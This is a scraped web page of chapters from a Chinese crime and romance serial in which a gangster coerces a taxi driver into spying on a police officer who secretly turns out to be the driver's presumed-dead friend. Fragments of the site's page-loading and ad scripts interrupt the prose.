$(''.inform'').remove(); $(''#content'').append('' 地给忘了。正当他往车座屁股底下检查时,头顶传来“噔噔”两声,有人在敲车窗。 “什么事?”陈东实摇下窗户,见外头站着个男人,戴着口罩,看不清脸,但身材很是魁梧。 男人打了个手语,陈东实没看懂,以为他是要搭车,忙解释道:“还没开始接单,得先去公司交个班,才能跑哩。” 见对方无动于衷,陈东实以为他是蒙古人,听不懂普通话,于是又用蒙语说了一遍。 那男人摇了摇头,又打了一连串手语。这回陈东实看明白了,他的意思是,能不能顺路载自己一程,他已经在这里打了很久的车了。 做惯善事的陈东实想当然没有拒绝,还主动下车替人拉开车门,请他坐了进去。不想等他回到驾驶座上,后头突然伸出一只壮臂,死死勾住自己的脖颈,陈东实还没来得及呼喊,一把银匕亮闪闪地比到他的喉结上。 后排两边车门“唰”一声钻进两个人,其中一个戴着墨镜,比其余两个看着要年长些。 陈东实不敢向后细看,只隐约闻到一股佛性的檀香调,类似的味道.......他好像在哪儿闻到过,却实在想不起来了,人老记性越差。 “陈东实,你很精嘛.......”墨镜男摘下墨镜,幽幽吐出一口鼻息。陈东实凭着声音,一下子反应了过来,喜用紫檀木的人,多少会沾染檀香调,来者不是什么阿猫阿狗,正是金蝶的大股东,徐丽口中的活阎王,马德文。 “本以为你看着呆呆笨笨的,是个老实人。”马德文略一示意,手下立刻将匕首放下,换了一种更加牢靠的方式,将陈东实扣在座椅上,“还骗我说叫什么陈山海......你以为我是三岁小孩儿?” 马德文哼哼一笑,“啪啪”两下,拍了拍前头人的糙脸。透过车前镜,陈东实能看到,此时的马德文是带着笑的,那种不把人当人看的笑,像厨师在看一只待宰的活鸡。 陈东实立刻明白了,当初陪徐丽去金蝶见马德文时,自己留了个心眼,给了他一个假名字。谁想这么快就被人家揭穿了,还找到了自己家楼下,看来他知道的远不止自己的真实姓名这么简单,来找自己之前,马德文肯定把自己摸了个透。 “我就说呢,怎么最近下面人老是不太平,不是被扫了窝点,就是被截了货,要么就是被举报,突然被掐断了货源,合着源头在你这儿啊,嗯?” 一只戴着皮手套的大手从后头绕过来,狠狠掐住陈东实的喉咙,是马德文的手。 “我不知道你在说什么.......”陈东实拼死挣扎,两条腿在座位下乱蹬着。手机在驾驶台上,他的双手被安全带绑着死结,够不到分毫。 “东哥!” 马路对面飘出一道倩影。 陈东实隔老远便听到了徐丽的呼唤,见她踩着羊皮小高跟,朝自己车子一路小跑过来,完全没有意识到车内的另一番天地。 “德叔,这.......”手下面露为难。 马德文微微抬手,意简言赅:“把人放开。” 见手下似有犹豫,他又说:“我答应过她,不在她面前干脏活。” 陈东实这才如愿地顺了口气。 几乎是不带任何痕迹地,陈东实从车前镜里清楚看到,前一秒还杀气腾腾的马德文瞬间换上一副和善面孔,他冲着徐丽走来的方向,柔柔带笑,仿佛刚才的一切都没有发生过。 “东哥.......”徐丽走上前来,见车里似乎还坐着人,以为是闲客,扬了扬手里的饭盒,“我炖了点燕窝,给你拿点.......怎么,你要出门?” “丽丽也在啊。”后头的马德文摇下车窗,“燕窝,有我老马的那份儿吗?” “你怎么在这里.......”徐丽的脸色立刻暗了几分,她倒退两步,满是不安地将目光转向陈东实。 “这不来体验生活吗?”马德文摸了摸后脑勺,哈哈一笑,“没事坐坐出租车,兜兜风,看看路上的美女帅哥,你说是不是,山海兄?” 20.Chapter 20 没等陈东实回答,马德文摇上车窗,伏在他耳旁,低声道:“随便找个由头,把她支开。然后找个没人的地方,咱们再好好算算这笔账。” 陈东实不敢违背,他确切地感觉到,腰后顶着一把坚硬的匕首。如果不按马德文说的做,那把匕首一定会毫不犹豫地刺进来,他相信姓马的做得出来。 不肖多想,陈东实冲外头人说:“是的了,马老板知道我开出租,照顾我生意来了。” 见徐丽面色稍缓,他又说:“放下燕窝就回吧,我去加点油,得空找你吃饭。” “好........”徐丽扫了眼后座,给饭盒的功夫,给陈东实递了个“多加小心”的眼神。她也不多废话,给完东西便走了,车内气氛一下又紧张起来。 陈东实按吩咐将车子开到一处荒郊,马德文换回黑脸,抚着皮手套上的走线,说:“那天在金蝶,你也看到了吧?那个小警察,长得跟李威龙一模一样。” 陈东实心口一滞,似被戳到了软处,李威龙一直是他的死穴。 “我想你应该比我更纳闷,这世界上,真的会有如此相像的两个人?还不是双胞胎.......”马德文微眯着眼,看着后视镜,款款地笑,“陈东实,你说句实话,你就没怀疑过那个小警察的真实身份?” “他不是李威龙........”陈东实的心咚咚咚跳得飞快,“咱们之间的事,跟他无关。” “跟他无关?”马德文一把薅住他的头发,向后扯去,“跟他无关那你还天天跟他搅合在一起?你那天早上前脚刚递完举报信,下午警察就带人扫了下面的窝点。动作快到像是串通好的一样,倒是让我有些不敢信你了.......” “你怎么知道我是早上递的举报信?”陈东实强忍住发根处的剧痛,后知后觉,“.......你找人跟踪我?” “我用得着跟踪你?”马德文嗤声一笑,“告诉我这些的,正是你心心念念的梁警官!” 陈东实耳边“嗡”地一声炸开,像蜜蜂抱团的协奏曲。他似乎忘了,梁泽本就是刀疤脸介绍给马德文的内线,只是陈东实没想到,梁泽连这个都要告诉马德文,他.......就当真一点也不在乎自己的安危吗?! “下来吧你——!” 手底下的打手将男人扯下车子,陈东实无力反抗。他被一路拖拽到一处平地上,不远处刚好有块半封闭式的建筑工地。 陈东实虚视前方,任马德文手下将自己摁倒在土堆前。他的双手被绳子紧紧缚着,一动也不能动,看这样子,今天铁定是逃不脱了。 “原想着给你个痛快,快点了结你,但转念一想,你也不是毫无作用。” 马德文走到他跟前,半俯下身,抬起陈东实的脸,“现在给你两条路。一条,你自己拿着枪,把子弹吞了,你的前妻和女儿,我保证不找她们麻烦。另一条路......” 马德文顿了一顿,说,“替我守在姓梁的身边,帮我监视他。” “什么意思?” “字面意思,”马德文没给他太多思考的时机,一把将他的头按进污泥里,直到身下人咕噜噜灌了一嘴的脏水,才把陈东实的脑袋从泥巴里拎起来。 “他是别人引荐的,不是我手底下提拔起来的人,底细虽然干净,但我总觉着不安心。梁泽是我内线不假,但我也怕他跳反,明面上替我办事,实际上又是个卧底在我身边的奸细,你晓得吧?碟中谍,那群吃公家饭的,一个比一个狡猾。” “呵.......”陈东实突然笑了,掀起眼皮子看向眼前人,泥水糊满五官,“原来你也会怕......你不安心什么?就为着他长了一张和李威龙一模一样的脸?他对你来说,不过就是个小警察,就算背叛了你,捏死他,对你来说易如反掌,不是吗?你在担心什么?” 马德文堪堪回过身,夹起一根雪茄,不说话了。 “老大,不好了——!”守在外头的手下来了信,面色煞白,“警察来了!” 马德文放下刚到嘴的雪茄,旋身一望,见数十米开外警笛闪烁,红蓝一片,近在眼前。 “先把人扶起来。”马德文丝毫不乱,捋了捋头发,攀上陈东实的肩,“我说的话,你考虑一下,考虑好了,待会送你一份大礼。” 话刚说完,警车戛然停下,陈东实这才看清,车里只坐着梁泽一个人。 “你说巧不巧,刚说到梁警官,您就来了.......”马德文一脸热情地拥上前去,同梁泽握了握手:“刚还在跟山海兄说,多亏了梁警官的通报,通知我们尽早转移,这才避免端掉更多窝点,这份大恩,马某没齿难忘。” 梁泽没有理会马德文,笔直走到陈东实面前,问,“你还好吗?” “我没事。”陈东实拍了拍裤腿上的泥巴,想到若干分钟前,马德文告诉他是梁泽泄露自己投递举报信的话,不由生出些许愤懑,难免对眼前人抵触。 “我好不好重要吗?”陈东实出言相讽,“梁警官好就行了,我不过就是贱命一条。” 梁泽听出了话里的敌意,看了陈东实一眼,没搭理他,扭头对马德文说:“我们接到群众举报,有人意图对举报人不轨,陈东实现在是我们的重点保护对象,我有义务前来查看。” “群众举报?”马德文噗嗤一下,笑出了声,“什么群众?是个女群众吧?如果我没猜错,那人是不是姓徐?” 在场人都不是傻子,就算马德文不点破,陈东实也猜到,一定是徐丽见自己跟马德文待一块儿,怕他对自己不利,扭头报了警,徐丽并非只是个花瓶。 “好了,既然没事,那么我也就放心了。”梁泽放松了些口吻,对马德文说,“虽然我帮你做事,但面子上,总还是要过得去,请马总多多理解。” “理解,”马德文跟着他笑,“我一直都很尊重警察。我是守法公民。” 梁泽背影一顿,慢慢转过身去,正眼看向生着闷气的某人,“你眼瞎?自己东西掉了都不知道?” 陈东实顺着他的目光向下一瞧,见不知什么时候,那张胸牌掉在了地上。 好死不死,还是正面朝上,姓名和警号被看了个全。陈东实登时尬住。 梁泽没戳穿他,闷不吭声地走回车上。陈东实忙捡起那张胸牌,擦擦上头的泥,揣进了裤兜里。 “看不出来,你还挺念旧。”马德文难藏揶揄,瞟了瞟陈东实, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “偷偷藏着梁泽的工牌,怎么,见他长得跟李威龙一样,追忆起前尘往事了?” “没有......”陈东实将头低了下去,待在兜里的手,隐约地颤。 听马德文的口吻,应该已经知道自己跟李威龙的过去了。他猜到马德文吃透了自己,只是没想到,他能掘地三尺把自己跟李威龙的那些陈年往事也一并吃了,他并不喜欢这种毫无边界感的窥探。 “所以我说嘛,你监视他最合适不过,”马德文凑近几分,“他要真是李威龙,发现最亲近的人,一直以来都在背叛他,不得难受死才怪。” “可他不是。”陈东实想起梁泽那张毫无情绪的脸,心中不知是何滋味。 他刚刚多哄自己一句都不肯,哪怕稍微低个头,说句好听点的话,哪怕就一句,可他什么都没有,什么也没表示,吝啬就像个陌生人。 比之李威龙,梁泽更加隐忍、淡漠。陈东实偶尔会想,如果他真的是李威龙,那样自己会更难受。因为相比死去,他更恐惧这近在眼前的陌生。 “这个给你,”马德文将一个布包塞到他手上,“大礼,你不表态,我就当你同意帮我监视梁泽了。” 陈东实没拒绝,也没否认。对梁泽的气是有的,但不至于因为这个就答应马德文。可现在的情况是,他看似有的选,其实没得选,否则死的只能是自己。 “这是什么?”陈东实掂量着手里的布包,硬邦邦的,不像是白.粉。 “拿回去看看就知道了,”马德文打了个哨,领着手下上了出租车。 送完马德文回金蝶是半小时后的事,陈东实再开车去加油站加油,到公司时,周会已经开完了。 他不可避免地被老板痛批了一顿,扬言再不好好工作就尽早卷铺盖走人。陈东实挨了训,又想到梁泽出卖自己的事,一整天都没什么精神。 到了夜里,陈东实去了趟丽丽美发屋,正赶上店里高峰期,十平米不到的地方坐满了人。 陈东实发现,前些天那个卖花的小姑娘也在。果不其然,她听从了徐丽的建议,来这儿做起了帮工。看着小姑娘有模有样地替客人盘头按头,陈东实几多欣慰,他的童童长大后也差不多像这样吧,漂亮、洁净,和动画片里的贝儿公主一样。 陈东实还问到,这女孩叫香玉,名字还是徐丽现取的。这倒让他想起第一次见到香玉时,在她手上买的那枝晚香玉。 也没啥别的事,陪徐丽吃了顿饭,帮她修了修店里的水管,也就零点翻篇儿了。 再回到车上,陈东实第一个看到的是副驾驶座上的布包。马德文说,这是大礼,“回去看看就知道了”。瞎忙活了一整天,陈东实这会才想起这茬。 他难免多留了个心眼,将车拐到抹黑的角落里,连灯都没开,仅凭手机屏透出的光照明。 只见四四方方的灰帕里,完好躺着一只小巧的便携手枪,和几枚散弹。 陈东实吓得瞪足了双眼,忙扯过布将枪盖住,托住帕底的另一只手,不受控制地冒汗。 他突然明白,马德文后来在车上对自己说的那句话到底是什么意思了。 姓马的说,“必要时候,替我杀了梁泽。” 21.Chapter 21 车前灯猛地一闪,陈东实眼前划过一道亮光。他下意识将枪塞进夹板,定睛一看,车头处不知何时站了个人。 他捋了捋气,待那人走近,问:“还没跟够?” 暗处的人摘下兜帽和别在左耳的耳机,露出那张清俊的脸,“陈东实,我是在保护你。” “保护我?”陈东实瞄了眼脚下的夹板,适才动作匆忙,有半截布还露在外面,他伏下身,用身体挡着,将那截布往里塞了塞。 梁泽浅浅带笑,“怎么,不请我去车上坐坐?” 陈东实还憋着白天的气,没好脸色地说:“坐我车得收钱。” “给你二百,不用找了。”梁泽掏出两张纸币,自行拉开副驾车门,一屁股坐了进去。 陈东实没吱声,摁亮车内灯,两人第一次距离如此之近。 “抽烟吗?”梁泽掏出一盒康希19+1,这是外蒙最畅销的香烟,原产地在呼和浩特,陈东实许久没抽过了。 “不抽。”陈东实冷漠回绝,从衣服里掏出自己的,他只抽绥芬河。 “真不抽假不抽?”梁泽跟逗小猫儿似的,拿烟头在他鼻子前晃了晃,“我记得你是抽烟的啊.......难道我记错了?” “我是抽烟,”陈东实略蹙了蹙眉,刚调解好的委屈又涌上心头,“我是不想抽你的烟。” “为啥?” “不为啥。”陈东实闷头开车,他也不知道要去哪里,只能往家的方向开。 “你不大对劲,”梁泽摇下车窗,靠在门后,抖了抖灰,“白天马德文在那会儿,我就觉着你不对劲,好像对我有气,我哪里惹到你了?” “你哪里都惹到我了,”陈东实平时看着憨实,心肠却是比女人还细软。他愤愤道,“还没问你谁让你跟踪我的?你们不会是连我都当嫌疑人一样看了吧?” “哪儿的话。”梁泽哼哼一笑,“是我白天见你跟马德文处一块,怕有他在,你不好告诉我实情,就想着跟着你,也是怕他们回马枪,又对你做什么手脚。” “那看来我还得谢谢你了。”陈东实紧握着方向盘,不知有心还是无意,转弯一个闪电漂移,梁泽直接撞在车门上。 “我靠.......你慢点开啊......” 梁泽推了他一把,这火.药味够重,看来这家伙远没有看上去的那样好糊弄。 陈东实说:“马德文找我没啥事,只是问了些有关徐丽的事。” “哦......?”梁泽两眼一亮,“你跟徐丽......你们很熟?” “我干嘛要告诉你?”陈东实白了他一眼,“你少来套我的话,我能告诉你的是,我跟你不一样,我不想搅进马德文和你们之间的那堆事儿里去,我举报钟健翔,也只是因为我从小看着他长大,不想他误入歧路,至于徐丽,她和马德文那些事,要问你自己去问她,别来烦我。” 话刚说完,目的地到了。陈东实别了眼紧闭的储物层,将白天拿出来的加油卡放了进去。 “这你家?”梁泽这才反应过来,陈东实东开西开,居然开到了他自己家。 “不然呢?”男人松开安全带,关灯熄火,一气呵成,“难不成是你家?” “到都到了,不请我上去坐坐?”梁泽趴在驾驶台上,像只大狗:“哎呀,跑了一天了,可把我累坏了。” “你少来,”陈东实又气又想笑,“明明就想监视我,还说得那么好听,从前也没见你找我找得这么勤。” 被看穿的梁泽并不生气,反笑嘻嘻道:“监视多难听,我说了,我这是为了保护你。曹队也说了,要确保你无恙,我这是在执行组织派给我的任务。” 两人你来我去地拌着嘴,一路上了二楼。进门前,梁泽想,陈东实为人清简,他的家,也一定井井有序,和他的做事风格一样。可谁想开了门,见到的却是一屋子杂乱,衣服、袜子随处堆砌,空着的快餐盒、闲置的衣架、掉在地上的枕头和水槽里漂浮的碗筷,梁泽一眼望去,杵在门口倒不敢动了。 “怎么了,进来啊。”陈东实招呼他进门。 梁泽一脸迟疑:“这是你家.......?” “是有点乱.......嗯.......”陈东实跟着有些不好意思,弯腰捡起脚边掉落下来的几本书。 梁泽垂眼一瞧,尽是些什么《教你如何一夜暴富》、《三十天巧赚一百万》、《聪明人才知道的财富经》,怪好笑的。 “不知道你要来,没收拾.......将就着看吧。” 梁泽小心翼翼地探进一只脚,仿佛这里的地板布满了生化武器。屋子倒不大,一室一厅,左不过三十平。乱是乱了点,可不算脏,只能说有些疏于打理,不过倒也符合陈东实平时不拘小节的性情。 陈东实将人领进屋,刚想邀人坐下,发现沙发缝里还塞着一只袜子,赶紧揪出来扔进了脏衣篓里。 “没关系.......”梁泽尴尬笑笑,主动给他找台阶下,“俗话说,臭男人臭男人,不臭怎么当男人?我懂的.......” 陈东实被说得脸上火辣辣地疼,事出突然,他根本没想到梁泽会来自己家。要是知道了,肯定不会让他看见这一番凌乱,事到如今,他先别扭上了,臊得自己没皮没脸。 陈东实将泡好的茶递给梁泽,坐到他旁边,嘿嘿一笑,“别说我了,你也一样,挺臭的......” “瞎说!”梁泽放下腿,提起自己的脚闻了闻,“我哪儿臭了.......” “你没狗鼻子,当然闻不见,”陈东实嘿嘿一笑,说,“身上那股味儿,跟被火烧烂了似的。” 撂完这话,陈东实赶忙埋头饮茶,同时用余光偷偷瞥了梁泽一眼。很好,他当真了,戏耍梁泽的感觉很好填平了白天的不满。 “我看你是蓄意报复。”梁泽很快反应过来,睥了旁边人一眼,“陈东实,原来你也这么不老实。” “我又怎么了?”陈东实放下杯子,一脸大义凛然地看着他。 “我怎么不老实了?” “你偷偷藏我名牌的事儿,我还没找你算账呢。”梁泽挪近几分,看着陈东实的眼睛,隐隐含笑,“你该不会.......暗恋我吧?” “说的什么鬼话.......”陈东实赶忙后撤几寸,连连否决,“我是男的,你也是,两个大老爷们能干什么,你说这话吓到我了......” “别装了,”梁泽扬了扬下巴,嘴角略微勾起,“欸,话说你跟李威龙,你对他.......也这么痴汉吗?” “听不懂你在说什么。”陈东实扯过抱枕,砸了过去,“别这样看着我,都是男的,蛮恶心。” “其实我有个秘密一直没告诉你......”梁泽接过抱枕,一本正经道:“我就是李威龙。” “我还说我是刀郎呢。”陈东实哧了一下鼻,刀郎是他最爱的歌手,也是他心中的偶像,“你知道刀郎吗?土鳖。” “拜托,大叔,现在谁还听刀郎?”梁泽笑得不行,“我们就算没听过,也至少知道好吧?” “我最喜欢他那首《2002年的第一场雪》,”陈东实仰在沙发上,双目微闭,细细哼唱,“2002年的第一场雪.......比以往来得更早一些.......” 这是独属于他们“老年人”的浪漫,陈东实开车时,最常听的也是刀郎。 梁泽打住笑,抿了口手里的茶,甜中带苦,和眼前人唱的歌一样。 “他也是2002年冬天死的。”陈东实睁开眼,眼底波光粼粼,似能荡漾开一切浮华。 原显轻松的气氛急转直下。梁泽发现,自己无论和陈东实聊什么,最后都会扯到李威龙,就像不可规避的悲剧之源,一种注定发生的临终审判。 “我该回去了。”梁泽站起身,打住这突如其来的煽情,好不容易让陈东实活泼了会,一首歌的时间,别又让这份快乐飞走了。 “不监视......哦不对,不保护我了吗?”陈东实停下追思,随他一道起身,“现在已经两点多了。” “这么晚,坏人也要 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 休息的。”梁泽往门口走,走了两步,又回头。 “怎么了?” “没什么,”梁泽拍拍他的肩:“一屋子脏乱差,但照片擦得很干净。” 陈东实顺着他的目光看去,是李威龙的遗照。陈东实一直将照片放在电视柜最显眼的地方,每天出门之前,都会例行公事般擦一擦,比洗脸还勤。 “你知道吗?看着那张照片,感觉挺奇妙的......看着一个和自己一模一样的人的遗照,那感觉就像.......就像在看自己的遗照一样,”梁泽扶住门口,眼底划过一丝沮丧,“好似能一眼望见这辈子的尽头......” “不会的。”陈东实安慰他,“你还年轻。到了他这个年纪,你肯定会比现在更好,活得也会比他更长。” “借你吉言。” 梁泽套上手套,扭头走了出去。 这一次,他没再不舍,也同样没有说再见。 晚风晃晃醉人,梁泽步行到楼下,守了会,抽了两根烟。沿街还有出租,路途并不远,到家不过十来分钟。 梁泽住的地方,是单位分派给他的集体公寓,在一个老小区内。同住的都是警局同事和他们的家属。中规中矩的单人间,独卫,干湿分离。房间里只有一张床,一张写字台,墙上贴着各式电影海报,梁泽爱看电影,最喜欢的演员叫阿兰德龙。 床底下的行李箱,就是梁泽的所有家产。他才算得上真正的清简,生活被压缩得只剩基础的温饱,唯一的情.趣就是行李箱里那些电影碟片。房间里没电视,这些碟片暂时没有用武之地,梁泽也没时间欣赏,只能偶尔拿出来,看看它们的封面。 守门的狗狂吠两声,异国的夜里,更显孤寥。梁泽从浴室里走出来,身上的水汽还没擦干,额头前翘起一块胶皮。 他抬起手,轻轻一撕,“哧啦”一声,整块被扯了下来。 他疼得忍不住发出一声轻微的呻.吟。 望着额头上那块皲皱的烧疤,梁泽面色一沉,顺着那疤,继续往下撕去。 一块、两块、三块、四块.......足足二十八块烧痕,错落地分布在他的右半边侧脸。 梁泽堪堪忆起,在陈东实家里,他打趣提到的,“身上那股烧烂的味道”,不由得惨淡一笑。 的确是被烧烂了,身死之人,又何所谓具备活人气息呢? 他已经习惯了这样的自己,不肖多想,拾起洗漱台上的卸妆膏,点涂在棉布上。将棉布盖在锁骨处,轻轻一拭,被粉底掩盖的切口长出了粉嫩的新肉,拆完线这么久,就只剩下一道亮白的旧痕。 大火,男人的哭喊,枪声,血尸,泻湖,西伯利亚的风.......痛苦的往事如潮汐般回溯,梁泽将水温开至最高,任由自己的双手浸泡在滚烫的热水中。 急速升腾起的热水很快灌满整个盥洗池,梁泽将伤口尽数没入其中。每逢秋冬交际,这些烧伤都会如蛊虫般定时发作,奇痒无比。起先还能用一些止痒药膏抑制,到后来,无论什么膏药都无济于事。 但聪明的他很快发现,镇压一种痛苦的方式,就是逼迫自己遭受另一种更极端的痛苦—— 就好比他每天晚上都会用滚水,来缓解自己双臂因为烧伤带来的灼痒。一种是接近烫伤的火辣辣的痛,一种是旧年沉伤的啃噬的痒痛,就像中医里常提到的以毒攻毒,多年以来,他日日如此,身体本能地达到了麻木的阈值,梁泽常有种魂肉分离的错觉,仿佛这副身体不属于自己,它的舒适与疼痛、快乐与心酸,都和自己无关。 他才是那具躺在棺木里的“活人尸体”,看似活着,实则早已腐烂。 远看如硅似玉,凑近一瞧,才觉已成蠹木,白骨森森。 至于刀疤.......这样的刀疤,他全身一共四处。一刀在脖颈,一刀在胸前口,一刀在大腿,一刀在后腰。 从地狱里爬起来的人啊,这就是赫赫在目的军功章。 梁泽抚摸着那些伤,看着镜中被烫到扭曲的容颜,微笑招呼,“你好啊,李威龙。”